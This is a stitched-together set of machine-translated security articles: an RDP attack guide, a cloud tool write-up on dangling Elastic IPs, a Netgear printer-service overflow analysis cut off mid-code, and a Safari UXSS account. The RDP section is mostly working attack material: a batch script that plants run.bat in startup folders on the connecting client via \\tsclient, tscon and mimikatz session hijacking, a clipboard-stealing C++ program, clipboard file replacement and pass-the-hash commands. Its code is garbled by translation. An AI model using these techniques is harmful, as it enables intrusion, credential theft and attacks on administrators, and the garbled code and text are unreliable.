MKDIR C: \ TEMP NUL 21

run.bat c: \ temp nul 21をコピーします

run.bat \\ tsclient \ c \ temp nul 21をコピーします

del /q%temp%\ temp_00.txt nul 21

dirs=dir /a:d /b /s c: \ users \*startup*

dirs2=dir /a:d /b /s \\ tsclient \ c \ users \*startup*

echo |%dirs%| findstr /i 'microsoft \ windows \ start menu \ programs \ startup' '%temp%\ temp_00.txt'

echo |%dirs2%| FindStr /I 'Microsoft \ Windows \ Start Menu \ Programs \ Startup' '%TEMP%\ TEMP_00.TXT'

for /f 'tokens=*' %% a in(%temp%\ temp_00.txt)do(

run.bat '%% a' nul 21をコピーします

c: \ temp \ run.bat '%% a' nul 21をコピーします

コピー\\ tsclient \ c \ temp \ run.bat '%% a' nul 21

))

del /q%temp%\ temp_00.txt nul 21

rem if 'windomain'='%userdomain%'(cmd.exe /c calc.exe)

RDPセッションハイジャック

実用コマンドはtsconです。これは、パスワードを介して別のセッションに切り替えるのが垂直です。ただし、システムでは、パスワードを使用せずに異なるユーザーセッションを切り替えることができます。セッションを別のセッションに切り替えます。

この手法は、主にWin7以降の環境を対象としています。全体的なアプリケーションシナリオは、Windows 2012以降がデフォルトでプレーンテキストを保存しない場合、ターゲットホストに切り替えるか、ドメイン内の現在のユーザーがローカルユーザーである場合、ドメインユーザー許可に切り替えることができます。

まず、PSEXECをローカルで使用してシステムに言及します。 (ここでは、システムサービスを手動で作成してそれらを実装できます。)Shift/Utilmanバックドアを使用して、パスワードなしでデスクトップにログインすることもできます。

1.psexec

20201214130520

c: \ windows \ system32quser

ユーザー名セッション名IDステータスアイドル時間ログイン時間

管理者RDP-TCP#1 1が実行されています。 2020/12/14 11:14

テストRDP-TCP#0 2ランニング1:02 2020/12/14 13:04

C: \ Windows \ System32TScon 2 RDP-TCP#1 20201214141422

2。サービス

Quser

SC SESSHIJACK BINPATH='CMD.EXE /K TSCON 2 /DEST:RDP-TCP#1'

ネットスタートSesshijack 20201214142146

20201214142235

3。ミミカッツ

特権:3360Debug

TS:セッション

toekn:3360Elevate

TS:REMOTE /ID:2 20201214143542 20201214143555

4。パスワードなしのハイジャックをシフト

com hijacking shift backdoor in webshell 20201214143759

20201214144009

20201214144020

rdpclip.exe utilization

RDPサービスは、テキストとファイルをコピーして貼り付けることができます。主にこのrdpclip.exeプロセスを通じて実装されています。コピーの特定の操作を知りたい場合は、Clipspyを使用してクリップボードの変更を表示できます。

ATTCKで著作権を使用してコピーのテキストコンテンツを取得する多くの開示方法を見ました。https://Research.Checkpoint.com/2019/Reverse-rdp-Attack-Code-execution-on-rdp-clients/hook rdpclip.exeにも表示されています。

1。せん断ボード監視

10秒ごとに、クリップボードのコンテンツを読んでローカルに保存します。

#include例外

#include iostream

#include ostream

#include stdexcept

#include文字列

#include windows.h

#include fstream

名前空間STDを使用。

クラスraiiclipboard

{

public:

raiiclipboard()

{

if(!openclipboard(null))

runtime_errorを投げます( 'クリップボードを開けません。');

//.またはクリップボードエラーのカスタム例外クラスを定義します。

}

〜RaiicLipboard()

{

closeclipboard();

}

//コピーを禁止します

private:

raiiclipboard(const raiiclipboard);

raiiclipboard operator=(const raiiclipboard);

};

クラスraiitextgloballock

{

public:

明示的なraiitextgloballock(ハンドルhdata)

: m_hdata(hdata)

{

m_psz=static_castconst char*(globallock(m_hdata));

if(!m_psz)

runtime_errorをスロー( 'クリップボードテキストでロックを取得できません。');

}

〜raiitextgloballock()

{

GlobalUnLock(M_HDATA);

}

const char* get()const

{

M_PSZを返します。

}

private:

M_HDATAを処理します。

const char* m_psz;

//コピーを禁止します

raiitextgloballock(const raiitextgloballock);

raiitextgloballockオペレーター=(const raiitextgloballock);

};

文字列getClipBoardText()

{

raiiclipboardクリップボード。

hdata=getClipBoardData(CF_TEXT);

if(hdata==null){

戻る '';

//runtime_errorをスロー( 'クリップボードテキストを取得できません。');

}

raiitextgloclock textgloballock(hdata);

string text(textgloballock.get());

テキストを返します。

}

void savedata(string data){

ofstream out( 'info.txt'、iOS:3360App);

if(out.is_open())

{

out data + '\ n';

out '----------------------------- \ n';

out.close();

}

}

int main()

{

static const int kexitok=0;

static const int kexiterror=1;

文字列data1='';

文字列data2='';

試す

{

while(true){

data2=getClipBoardText();

if(data1!=data2){

cout data2 endl;

savedata(data2);

}

それ以外{

Cout 'Clip Actionを待っています.' endl;

睡眠(300000);

}

data1=data2;

睡眠(10000);

}

Kexitokを返します。

}

キャッチ(const例外e)

{

cerr '*** error:' e.what()endl;

Kexiterrorを返します。

}

} 20201214201005

安っぽいRumblesの記事によると。 Get-ClipboardContents.ps1を使用してクリップボードコンテンツを取得することもできます。複数のRDPインターフェイスで取得できます。

3924 888 rdpclip.exe x64 3 dmz2 \ rasta

注射3924 X64 SMB

PowerShell-Import D: \ Tools \ get-clipboardContents.ps1

PowerShell Get-ClipboardContents -Pollinterval 1 20201214194146

2。反撃rdp

ハンギングディスクなしで逆にファイルを管理者に転送する方法は?オンラインで2つの方法を見つけました。

1.フックGetClipBoardData関数とDragQueryFilew関数は似ています。 2日間のデバッグの後、私はついにすべての兄弟の助けを借りてそれを見つけました。

2。後で、前のセクションでクリップボードの内容を取得できると思ったので、彼がコピーしたファイルを変更できました。

CVE-2019-0887

Li Yongdeには、紙に記載されているのと同じ考えがあります。 wcsrchr(szfile、 '\')はアドレスを受信するために使用されるため、Microsoftは./この種のパスもサポートしています。脆弱性の理由は、Winrar Pathの理由に似ています。

Detours Libraryを使用してGetClipboardData関数とDragQueryFilew関数をフックし、ファイルデータとパスを追加して最終効果を実現します:k05qi-id7g5

クリップボードファイルを交換

#include iostream

#include windows.h

#include shlobj.h

int copyfiletoclipboard(char szfilename []);

int main()

{

copyfileToclipboard( 'c: \\ windows \\ system32 \\ cmd.exe');

0を返します。

}

int copyfiletoclipboard(char szfilename [])

{

uint udropeffect;

hglobal hgbleffect;

lpdword lpddropeffect;

ドロップファイルstdrop;

hglobal hgblfiles;

LPSTR LPDATA;

udropeffect=RegisterClipboardFormat( '優先DROPEFFECT');

hgbleffect=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dword));

lpddropeffect=(lpdword)globallock(hgbleffect);

*LPDDROPEFFECT=DROPEFFECT_COPY; //copy;スクレイピングと貼り付けにはdropeffect_moveを使用してください

GlobalUnLock(hgbleffect);

stdrop.pfiles=sizeof(dropfiles);

stdrop.pt.x=0;

stdrop.pt.y=0;

stdrop.fnc=false;

stdrop.fwide=false;

hgblfiles=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dropfiles) + strlen(szfilename) + 2);

lpdata=(lpstr)globallock(hgblfiles);

memcpy(lpdata、stdrop、sizeof(dropfiles));

strcpy(lpdata + sizeof(dropfiles)、szfilename);

GlobalUnLock(hgblfiles);

openclipboard(null);

emptyClipboard();

setclipboardData(CF_HDROP、hgblfiles);

setclipboarddata(udropeffect、hgbleffect);

closeclipboard();

返品1;

このように、管理者がサーバーからファイルをコピーしてマシンにダウンロードした後、ファイルはcmd.exeに置き換えられます

bd2xkcunf0n1123.png

.NET脱介入

`https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/decred/be-deserialisation-in-net-methods-and-classes-code-code-execution-via-paste/`で紹介されたアイデアを参照してください。 (私はこの方法をプレイすることを決して期待していませんでした)

`https://github.com/pwntester/ysoserial.net`を利用します

使用プロセスは、クリップボードを貼り付けるときにシリアル化コードに置き換えることです。一部のアプリケーションが貼り付けられると、脱出操作がトリガーされます。さらに、ターゲット.NETアプリケーションがより高い権限で実行される場合、許可プロモーションとして使用することもできます。 (現在のユーザーはUACアカウントのパスワードを持っていませんが、管理者はUACの前に.NETアプリケーションを開きました。)ysoserial.exe -p Clipboard -c calc -f System.String q9tct-86xmr

テストプログラム:

PowerShell ISE

vs

描画ツール

TextBox、PasswordBox、またはRichTextBoxを使用するWPFアプリケーションも影響を受けます。

rdp pth

ユーザーハッシュログインウィンドウで

mstsc

サーバーは、Windows 8.1 Windows Server 2012 R2でデフォルトで有効になっている制限付き管理モードを有効にする必要があります。同時に、Win 7とWindows Server 2008 Rがインストールされている場合、2871997と2973351パッチもサポートされています。クライアントは、制限付き管理モードをサポートする必要があります

制限付き管理モードをオンにします

reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disableatretedadmin /t reg_dword /d 000000000 /f有効にすると、MSTSC.EXE /RESTIDEDADMINログインパスワードなしで、現在のユーザーのハッシュは検証に使用されます。

mimikatz

mimikatz.exe

特権:Debug

sekurlsa:pth /user:fbiwarning /domain:172.16.142.136 /ntlm:44f9ea6a7743a8ea6f1956384c39887b '/run:mstsc.exe /restrictedadmin'

ghostbuster.png

當你在AWS上部署基礎設施時,你可以啟動EC2實例,這些實例有一個與它們相關的IP。當你創建指向這些IP的DNS記錄,但在EC2實例被賦予一個新IP或被銷毀後忘記刪除DNS記錄時,你很容易受到子域劫持攻擊。

研究人員已經創建了一個名為Ghostbuster的工具,它的工作原理是枚舉與你擁有的每個AWS 賬戶關聯的所有彈性/公共IP,然後檢查是否有任何DNS 記錄指向你不擁有的任何彈性IP AWS 賬戶。請務必注意,此工具要求你完全覆蓋你的AWS 賬戶,以避免誤報。

關於如何設置和使用該工具的進一步說明可以在Github repo的README文件中找到。

在過去的十年裡,很多公司都切實採用了AWS、Azure和GCP等雲服務提供商,快速構建基礎設施,以滿足不斷增長的業務需求。遷移到雲原生架構給採用它的組織帶來了許多挑戰,從雲攻擊面的可見性到雲特定的安全漏洞。

雖然主要的雲服務提供商確實提供了許多安全方面的好處,但當涉及到安全時,它們都是在“共享責任”的模式下運行的。研究人員已經在AWS中看到了大量的配置錯誤漏洞,包括Route53 劫持、Cloudfront 劫持、ELB 劫持,以及現在的Elastic IP 劫持。這些錯誤配置被認為是屬於共享責任模型的客戶方,雖然AWS最終在其平台上部署了Route53、Cloudfront和ELB劫持的緩解措施,但這些漏洞被利用了好幾年。

值得注意的是,AWS並不是唯一一個在這些漏洞上存在漏洞的公司,微軟Azure和谷歌云平台在其基於雲的產品中也面臨著這一漏洞,許多其他雲提供商也是如此。

隨著雲攻擊面的快速擴展和流動性的增加,很難獲得對這些風險的可見性,尤其是在規模上。再加上雲提供商在部署緩解他們認為應該是共享責任模型中客戶方面的漏洞時行動緩慢,許多組織都在努力控制這些錯誤的配置漏洞。

為此安全公司Assetnote開源一個名為Ghostbuster的工具,Ghostbuster 是一款自動化瀏覽器測試工具,基於phantomjs,意味著你得到一個真正的瀏覽器,一個真正的DOM,仿真測試環境,可用於修復AWS環境中潛在的懸掛彈性IP(dangling elastic IP)漏洞。

什麼是懸掛彈性IP漏洞?當你將基礎設施部署到AWS 時,你可能會啟動具有關聯IP 的EC2 實例。當你創建指向這些IP 的DNS 記錄,但在EC2 實例被賦予新IP 或被銷毀後忘記刪除DNS 記錄時,你很容易受到子域劫持攻擊。

關於彈性IP劫持已經做了大量的研究,攻擊者可能會不斷地聲稱彈性IP,直到他們獲得與目標公司的子域名相關聯的IP。

雖然AWS經常會禁止試圖執行這種攻擊模式的賬戶,但AWS還沒有發布修復方案。

懸掛彈性IP子域劫持攻擊的影響比典型的子域劫持更嚴重,在子域劫持中,你只能控制所服務的內容。通過懸掛的彈性IP劫持,攻擊者可能還會進行如下操作:

通過ACME TLS 質詢為子域申請SSL 證書;

監聽所有端口上的流量(可能發現敏感信息仍在發送到子域);

運行具有竊取HTTPOnly cookie 能力的服務器端腳本,當cookie 範圍為*.domain.com 時,通常會導致一鍵式帳戶劫持攻擊;

研究人員並不是第一個注意到這個漏洞的人,最早關於彈性IP劫持的文章可以追溯到2015年,作者是Matthew Bryant。

自2015年以來,許多人嘗試了與Matthew類似的解決方案,他們堅持使用彈性IP分配和釋放的方法,直到他們找到目標公司使用的彈性IP。

其他PoC包括EIP Fish和Flying a False Flag - Cloud Racoon。

值得注意的是,一些漏洞賞金獵人對懸掛彈性ip的漏洞進行了大量研究。除了通過漏洞獎勵計劃或購買像安全平台(能夠主動檢測此漏洞)這樣的產品的公司之外,對於這些攻擊,研究人員唯一的保護措施就是AWS禁止他們認定的執行彈性IP劫持的賬戶。不幸的是,禁止賬戶並不是一個可行的解決方案。

AWS是如何處理這個漏洞的?研究人員已經與AWS的各個團隊就這個漏洞進行了多次討論,並試圖構建工具,以幫助該企業找到並緩解懸掛彈性IP劫持。

從歷史上看,AWS採取的方法是將這種行為有效地視為對其公共API 的濫用,並簡單地禁止那些分配或釋放彈性IP 過快的賬戶,或者AWS認為是濫用的模式。雖然這在一定程度上(特別是在規模上)提高了攻擊的門檻,但這並不是有效的長期緩解根本漏洞的辦法。

AWS表示,他們正在努力緩解這一漏洞,但這項緩解措施的具體細節和實施表仍不清楚。

就目前而言,這些技術仍然可行。

使用Ghostbuster緩解Ghostbuster是一款自動化瀏覽器測試工具,基於phantomjs,意味著你得到一個真正的瀏覽器,一個真正的DOM,仿真測試環境。

這個漏洞普遍存在,受此攻擊載體影響的組織數量不斷增加,因為公司繼續將更多的服務遷移到公共雲,特別是AWS。在關閉EC2實例後沒有刪除DNS記錄,這是一個很容易被引用的漏洞,並且由於自動配置而變得更加嚴重。

在AWS發布任何官方修復之前,研究人員建議你查看其新發布的開源工具Ghostbuster,它可以用來檢測潛在的懸掛彈性ip。

你可以通過運行:pip3 install ghostbuster 來安裝該工具,然後通過使用ghostbuster 命令來使用該工具。

該工具的工作原理是枚舉與你擁有的每個AWS帳戶相關的所有彈性/公共ip,然後檢查是否有任何DNS記錄指向你的任何AWS帳戶中不擁有的彈性ip。需要注意的是,該工具要求你完全覆蓋你的AWS帳戶,以避免誤報。

該工具對用戶非常友好,並使用你的.aws/config和.aws/憑據文件來遍歷每個配置的帳戶並執行處理。

此外,如果你使用Cloudflare 而不是Route53 來管理你的DNS,該工具還與Cloudflare 集成,以提取區域和關聯的DNS 記錄以進行分析。

如果你不使用Route53或Cloudflare來管理你的DNS區域,你可以向該工具(CSV)提供手動輸入。也可以配置Slack的webhook,以便該工具在檢測到潛在的劫持時發送通知。

該工具的設計方式使其可以頻繁地作為cron 作業運行,從而通知你隨時可能出現的潛在彈性IP劫持。

使用該工具時可以使用以下選項:

1.png

該工具的輸出如下所示:

2.png

關於如何設置和使用該工具的更多說明可以在我們的Github repo for Ghostbuster中的README 文件中找到。

總結大規模管理雲架構的安全性可能很困難,公司在EC2資源被破壞後留下DNS記錄是非常普遍的。

與僅能控制頁面內容的典型子域劫持攻擊不同,彈性IP劫持的風險要高得多,攻擊者能夠聲稱SSL證書,偵聽流量,並在海量cookie範圍的情況下執行帳戶劫持攻擊。

AWS 的預期緩解措施的細節及其發布的時間表仍不清楚。與此同時,你可以使用Ghostbuster在AWS環境中獲取懸掛的彈性ip。

簡介在這篇文章中,我們將為讀者詳細介紹我們的小組成員Alex Plaskett、Cedric Halbronn和Aaron Adams於2021年9月發現的一個基於堆棧的溢出漏洞,目前,該漏洞已通過Netgear的固件更新得到了相應的修復。

該漏洞存在於KC_PRINT服務(/usr/bin/KC_PRINT),該軟件默認運行於Netgear R6700v3路由器上。雖然這是一個默認服務,但只有啟用ReadySHARE功能(即打印機通過USB端口物理連接到Netgear路由器)時,該漏洞才有可能被觸發。由於該服務不需要進行任何配置,因此,一旦打印機連接到路由器,攻擊者就利用默認配置下的這個安全漏洞。

此外,攻擊者還能在路由器的局域網端利用這個安全漏洞,並且無需經過身份驗證。如果攻擊得手,攻擊者就能在路由器上以admin用戶(具有最高權限)的身份遠程執行代碼。

我們的利用方法與這裡(https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md)使用的方法非常相似,只是我們可以修改admin密碼並啟動utelnetd服務,這使我們能夠在路由器上獲得具有特權的shell。

儘管這里分析和利用的是V1.0.4.118_10.0.90版本中的安全漏洞(詳見下文),但舊版本也可能存在同樣的漏洞。

注意:Netgear R6700v3路由器是基於ARM(32位)架構的。

我們將該漏洞命名為“BrokenPrint”,這是因為“KC”在法語中的發音類似於“cassé”,而後者在英語中意味著“broken”。

漏洞詳情關於ReadySHARE這個視頻對ReadySHARE進行了很好的介紹,簡單來說,借助它,我們就能通過Netgear路由器來訪問USB打印機,就像打印機是網絡打印機一樣。

1.png

到達易受攻擊的memcpy()函數需要說明的是,雖然KC_PRINT二進製文件沒有提供符號信息,卻提供了很多日誌/錯誤函數,其中包含一些函數名。下面顯示的代碼是通過IDA/Hex-Rays反編譯得到的代碼,因為我們沒有找到這個二進製文件的開放源代碼。

KC_PRINT二進製文件創建了許多線程來處理不同的特性:

1.png

我們感興趣的第一個線程處理程序是地址為0xA174的ipp_server()函數。我們可以看到,它會偵聽端口631;並且接受客戶端連接後,它會創建一個新線程,以執行位於0xA4B4處的thread_handle_client_connection()函數,並將客戶端套接字傳遞給這個新線程。

void__noreturnipp_server()

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

addr_len=0x10;

optval=1;

kc_client=0;

pthread_attr_init(attr);

pthread_attr_setdetachstate(attr,1);

sock=socket(AF_INET,SOCK_STREAM,0);

if(sock0)

{

.

}

if(setsockopt(sock,1,SO_REUSEADDR,optval,4u)0)

{

.

}

memset(sin,0,sizeof(sin));

sin.sin_family=2;

sin.sin_addr.s_addr=htonl(0);

sin.sin_port=htons(631u);//listensonTCP631

if(bind(sock,(conststructsockaddr*)sin,0x10u)0)

{

.

}

//acceptupto128clientssimultaneously

listen(sock,128);

while(g_enabled)

{

client_sock=accept(sock,addr,addr_len);

if(client_sock=0)

{

update_count_client_connected(CLIENT_CONNECTED);

val[0]=60;

val[1]=0;

if(setsockopt(client_sock,1,SO_RCVTIMEO,val,8u)0)

perror('ipp_server:setsockoptSO_RCVTIMEOfailed');

kc_client=(kc_client*)malloc(sizeof(kc_client));

if(kc_client)

{

memset(kc_client,0,sizeof(kc_client));

kc_client-client_sock=client_sock;

pthread_mutex_lock(g_mutex);

thread_index=get_available_client_thread_index();

if(thread_index0)

{

pthread_mutex_unlock(g_mutex);

free(kc_client);

kc_client=0;

close(client_sock);

update_count_client_connected(CLIENT_DISCONNECTED);

}

elseif(pthread_create(

g_client_threads[thread_index],

attr,

(void*(*)(void*))thread_handle_client_connection,

kc_client))

{

.

}

else

{

pthread_mutex_unlock(g_mutex);

}

}

else

{

.

}

}

}

close(sock);

pthread_attr_destroy(attr);

pthread_exit(0);

}客戶端處理程序將調用地址為0xA530的do_http函數:

void__fastcall__noreturnthread_handle_client_connection(kc_client*kc_client)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

client_sock=kc_client-client_sock;

while(g_enabled!do_http(kc_client))

;

close(client_sock);

update_count_client_connected(CLIENT_DISCONNECTED);

free(kc_client);

pthread_exit(0);

}do_http()函數將讀取一個類似HTTP的請求,為此,它首先要找到以\r\n\r\n結尾的HTTP頭部,並將其保存到一個1024字節的堆棧緩衝區中。然後,它繼續搜索一個POST /USB URI和一個_LQ字符串,其中usblp_index是一個整數。然後,調用0x16150處的函數is_printer_connected()。

為了簡潔起見,這裡並沒有展示is_printer_connected()的代碼,其作用就是打開/proc/printer_status文件,試圖讀取其內容,並試圖通過尋找類似usblp%d的字符串來查找USB端口。實際上,只有當打印機連接到Netgear路由器時才會發現上述行為,這意味著:如果沒有連接打印機,它將不會繼續執行下面的代碼。

unsignedint__fastcalldo_http(kc_client*kc_client)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

kc_client_=kc_client;

client_sock=kc_client-client_sock;

content_len=0xFFFFFFFF;

strcpy(http_continue,'HTTP/1.1100Continue\r\n\r\n');

pCurrent=0;

pUnderscoreLQ_or_CRCL=0;

p_client_data=0;

kc_job=0;

strcpy(aborted_by_system,'aborted-by-system');

remaining_len=0;

kc_chunk=0;

//buf_readisonthestackandis1024bytes

memset(buf_read,0,sizeof(buf_read));

//Readin1024bytesmaximum

count_read=readUntil_0d0a_x2(client_sock,(unsigned__int8*)buf_read,0x400);

if((int)count_read=0)

return0xFFFFFFFF;

//ifreceived'100-continue',sendsback'HTTP/1.1100Continue\r\n\r\n'

if(strstr(buf_read,'100-continue'))

{

ret_1=send(client_sock,http_continue,0x19u,0);

if(ret_1=0)

{

perror('do_http()write100Continuexx');

return0xFFFFFFFF;

}

}

//IfPOST/USBisfound

pCurrent=strstr(buf_read,'POST/USB');

if(!pCurrent)

return0xFFFFFFFF;

pCurrent+=9;//pointsafter'POST/USB'

//If_LQisfound

pUnderscoreLQ_or_CRCL=strstr(pCurrent,'_LQ');

if(!pUnderscoreLQ_or_CRCL)

return0xFFFFFFFF;

Underscore=*pUnderscoreLQ_or_CRCL;

*pUnderscoreLQ_or_CRCL=0;

usblp_index=atoi(pCurrent);

*pUnderscoreLQ_or_CRCL=Underscore;

if(usblp_index10)

return0xFFFFFFFF;

//bydefault,willexithereasnoprinterconnected

if(!is_printer_connected(usblp_index))

return0xFFFFFFFF;//exitifnoprinterconnected

kc_client_-usblp_index=usblp_index;然後,它將解析HTTP的Content-Length頭部,並開始從HTTP內容中讀取8個字節。並根據這8個字節的值,調用0x128C0處的do_airippWithContentLength()函數——這正是我們的興趣之所在。

///!\doesnotreadfrompCurrent

pCurrent=strstr(buf_read,'Content-Length:');

if(!pCurrent)

{

//HandlechunkedHTTPencoding

.

}

//nochunkencodinghere,normalhttprequest

pCurrent+=0x10;

pUnderscoreLQ_or_CRCL=strstr(pCurrent,'\r\n');

if(!pUnderscoreLQ_or_CRCL)

return0xFFFFFFFF;

Underscore=*pUnderscoreLQ_or_CRCL;

*pUnderscoreLQ_or_CRCL=0;

content_len=atoi(pCurrent);

*pUnderscoreLQ_or_CRCL=Underscore;

memset(recv_buf,0,sizeof(recv_buf));

count_read=recv(client_sock,recv_buf,8u,0);//8bytesarereadonlyinitially

if(count_read!=8)

return0xFFFFFFFF;

if((recv_buf[2]||recv_buf[3]!=2)(recv_buf[2]||recv_buf[3]!=6))

{

ret_1=do_airippWithContentLength(kc_client_,content_len,recv_buf);

if(ret_10)

return0xFFFFFFFF;

return0;

}

.do_airippWithContentLength()函數分配了一個堆緩衝區來容納整個HTTP的內容,並複制之前已經讀取的8個字節,並將剩餘的字節讀入該新的堆緩衝區。

注意:只要malloc()不因內存不足而失敗,實際的HTTP內容的大小就沒有限制,這在後面進行內存噴射時很有用。

然後,代碼繼續根據最初讀取的8個字節的值,來調用其他函數。就這裡來說,我們對位於0x102C4處的Response_Get_Jobs()比較感興趣,因為它包含我們要利用的基於堆棧的溢出漏洞。請注意,雖然其他Response_XXX()函數也可能包含類似的堆棧溢出漏洞,但Response_Get_Jobs()是最容易利用的一個函數,所以,我們就先撿最軟的一個柿子來捏。

unsignedint__fastcalldo_airippWithContentLength(kc_client*kc_client,intcontent_len,char*recv_buf_initial)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

client_sock=kc_client-client_sock;

recv_buf2=malloc(content_len);

if(!recv_buf2)

return0xFFFFFFFF;

memcpy(recv_buf2,recv_buf_initial,8u);

if(toRead(client_sock,recv_buf2+8,content_len-8)=0)

{

if(recv_buf2[2]||recv_buf2[3]!=0xB)

{

if(recv_buf2[2]||recv_buf2[3]!=4)

{

if(recv_buf2[2]||recv_buf2[3]!=8)

{

if(recv_buf2[2]||recv_buf2[3]!=9)

{

if(recv_buf2[2]||recv_buf2[3]!=0xA)

{

if(recv_buf2[2]||recv_buf2[3]!=5)

Job=Response_Unk_1(kc_client,recv_buf2);

else

//recv_buf2[3]==0x5

Job=Response_Create_Job(kc_client,recv_buf2,content_len);

}

else

{

//recv_buf2[3]==0xA

Job=Response_Get_Jobs(kc_client,recv_buf2,content_len);

}

}

else

{

.

}易受攻擊的Response_Get_Jobs()函數開頭部分的代碼如下所示:

//recv_bufwasallocatedontheheap

unsignedint__fastcallResponse_Get_Jobs(kc_client*kc_client,unsigned__int8*recv_buf,intcontent_len)

{

charcommand[64];//[sp+24h][bp-1090h]BYREF

charsuffix_data[2048];//[sp+64h][bp-1050h]BYREF

charjob_data[2048];//[sp+864h][bp-850h]BYREF

unsignedinterror;//[sp+1064h][bp-50h]

size_tcopy_len;//[sp+1068h][bp-4Ch]

intcopy_len_1;//[sp+106Ch][bp-48h]

size_tcopied_len;//[sp+1070h][bp-44h]

size_tprefix_size;//[sp+1074h][bp-40h]

intin_offset;//[sp+1078h][bp-3Ch]

char*prefix_ptr;//[sp+107Ch][bp-38h]

intusblp_index;//[sp+1080h][bp-34h]

intclient_sock;//[sp+1084h][bp-30h]

kc_client*kc_client_1;//[sp+1088h][bp-2Ch]

intoffset_job;//[sp+108Ch][bp-28h]

charbReadAllJobs;//[sp+1093h][bp-21h]

charis_job_media_sheets_completed;//[sp+1094h][bp-20h]

charis_job_state_reasons;//[sp+1095h][bp-1Fh]

charis_job_state;//[sp+1096h][bp-1Eh]

charis_job_originating_user_name;//[sp+1097h][bp-1Dh]

charis_job_name;//[sp+1098h][bp-1Ch]

charis_job_id;//[sp+1099h][bp-1Bh]

charsuffix_copy1_done;//[sp+109Ah][bp-1Ah]

charflag2;//[sp+109Bh][bp-19h]

size_tfinal_size;//[sp+109Ch][bp-18h]

intoffset;//[sp+10A0h][bp-14h]

size_tresponse_len;//[sp+10A4h][bp-10h]

ch

本文我們將介紹通過Safari UXSS 獲得未經授權的攝像頭訪問權限,以及如何進一步利用一個共享iCloud 文檔攻擊你訪問過的每個網站。

1.webp.jpg

本次是利用發現的Safari中的7個0 day漏洞(CVE-2020-3852,CVE-2020-3864,CVE-2020-3865,CVE-2020-3885,CVE-2020-3887,CVE-2020-9784和CVE- 2020-9787),其中三個用於構造利用鏈劫持訪問攝像頭。

簡而言之,該漏洞使蘋果認為惡意網站實際上是值得信賴的網站,它通過利用Safari如何解析URI,管理WebOrigin以及初始化Secure_Contexts的一系列漏洞來實現劫持。如果惡意網站將這些漏洞利用串在一起,則可以使用JavaScript 直接訪問受害者的網絡攝像頭,而無需徵求許可。任何具有創建彈窗功能的JavaScript代碼都可以發起此攻擊。

而在本次嘗試中。我成功地利用了iCloud Sharing和Safari 15的一系列漏洞,來獲得了未經授權的攝像頭訪問權限。雖然這個漏洞確實需要受害者點擊“打開”從我的網站彈出的窗口,但它導致的不僅僅是多媒體權限劫持。這一次,該漏洞使攻擊者可以完全訪問受害者曾經訪問過的每個網站。這意味著除了打開你的攝像頭之外,我的漏洞還可以破解你的iCloud、PayPal、Facebook、Gmail 等帳戶。

本次共使用了4個發現的0 day漏洞(CVE-2021-30861、 CVE-2021-30975, 另外2個並沒有CVE),其中2 個被用於黑入攝像頭。我已向蘋果報告了這個漏洞鏈條,並獲得了100500美元的賞金。

2.webp.jpg

背景介紹蘋果通過增加攝像頭訪問的難度,修復了我上一次報告的漏洞鏈(CVE-2020-3852 + CVE-2020-3864 + CVE-2020-3865)。在這次賞金計劃中,該漏洞鏈會讓蘋果認為惡意網站實際上是值得信賴的網站,它通過利用Safari如何解析URI,管理WebOrigin以及初始化Secure_Contexts的一系列漏洞來做到這一點。如果惡意網站將這些漏洞利用串在一起,則可以使用JavaScript 直接訪問受害者的網絡攝像頭,而無需徵求許可。任何具有創建彈窗功能的JavaScript代碼都可以發起此攻擊。 iOS和macOS中的攝像頭安全模型非常嚴格,簡而言之,必須為每個應用程序明確授予攝像頭/麥克風許可,這由操作系統通過標準警報框處理。但是這個規則有一個例外。蘋果自己的應用程序可免費使用攝像頭,因此,Mobile Safari從技術上無需詢問即可訪問攝像頭。此外,諸如MediaDevicesWeb API(通常用於WebRTC傳輸)之類的新網絡技術使網站可以利用Safari的許可直接訪問攝像頭。但當時蘋果認為此漏洞屬於“無用戶交互的網絡攻擊:對敏感Data的零點擊未授權訪問” 類別, 並獎勵了我75000美元。

現在多媒體訪問只允許協議為“https:”,並且域匹配你保存的設置。這意味著巧妙地格式漏洞的URI 將不再適用,之前我專門講了file:我使用的下一個方案是file:該方案不包含有意義的主機名,我深入探究RFC,實際上偶然發現了file: URI的一個變化中確實包含主機名的URI。這種URI實際上指定了一個遠程服務器,類似於FTP,但是此規範未定義對存儲在遠程計算機上的文件的檢索機制,搜索了一段時間後,我找不到任何實際上支持這種的URI類型的用戶代理。

file://host.example.com/Share/path/to/file.txt出於好奇,我檢查了Safari如何在內部解析普通文件URI。

加1.png

果然主機名為空,接著我使用JavaScript指定主機,看看會發生什麼。

加2.gif

該頁面竟將該URI視為有效,並重新加載了相同的內容。這意味著我只是使用了一個技巧就更改了document.domain(CVE-2020-3885)。

果然,Safari認為在skype.com上,可以加載一些惡意的JavaScript。當你打開本地HTML文件時,攝像頭,麥克風和屏幕共享都會受到損害。 Safari似乎也使用這種惰性主機名解析方法來填充密碼的自動完成功能,因此,如果你接受自動完成功能,就可以竊取純文本密碼。

加3.png

此攻擊需要受害者打開本地HTML文件。另外,它在iOS上不起作用,因為通過Mobile Safari下載的本地文件在沒有JavaScript引擎的情況下以預覽樣式的嵌入式視圖顯示。

現在我們需要真正將我們的惡意代碼注入目標源,換句話說,我們需要找到一個通用跨站腳本(UXSS) 漏洞。

那麼UXSS與通常的XSS區別是什麼?因為同源策略,即使一個漏洞頁面存在XSS,我們可以訪問用戶會話信息卻無法訪問其他域的相關的會話信息,而因為UXSS是利用瀏覽器本身或者瀏覽器擴展程序的漏洞,所以對於攻擊發起時瀏覽器打開或緩存的所有頁面(即使不同域的情況)的會話信息都可以進行訪問。簡單的說,UXSS不需要一個漏洞頁面來觸發攻擊,它可以滲透入安全沒有問題的頁面,從而創造一個漏洞,而該頁面原先是安全無漏洞的。

因為UXSS攻擊不需要頁面本身存在漏洞,同時可能訪問其他安全無漏洞頁面,使得UXSS成為XSS裡危險和最具破壞性的攻擊類型之一。

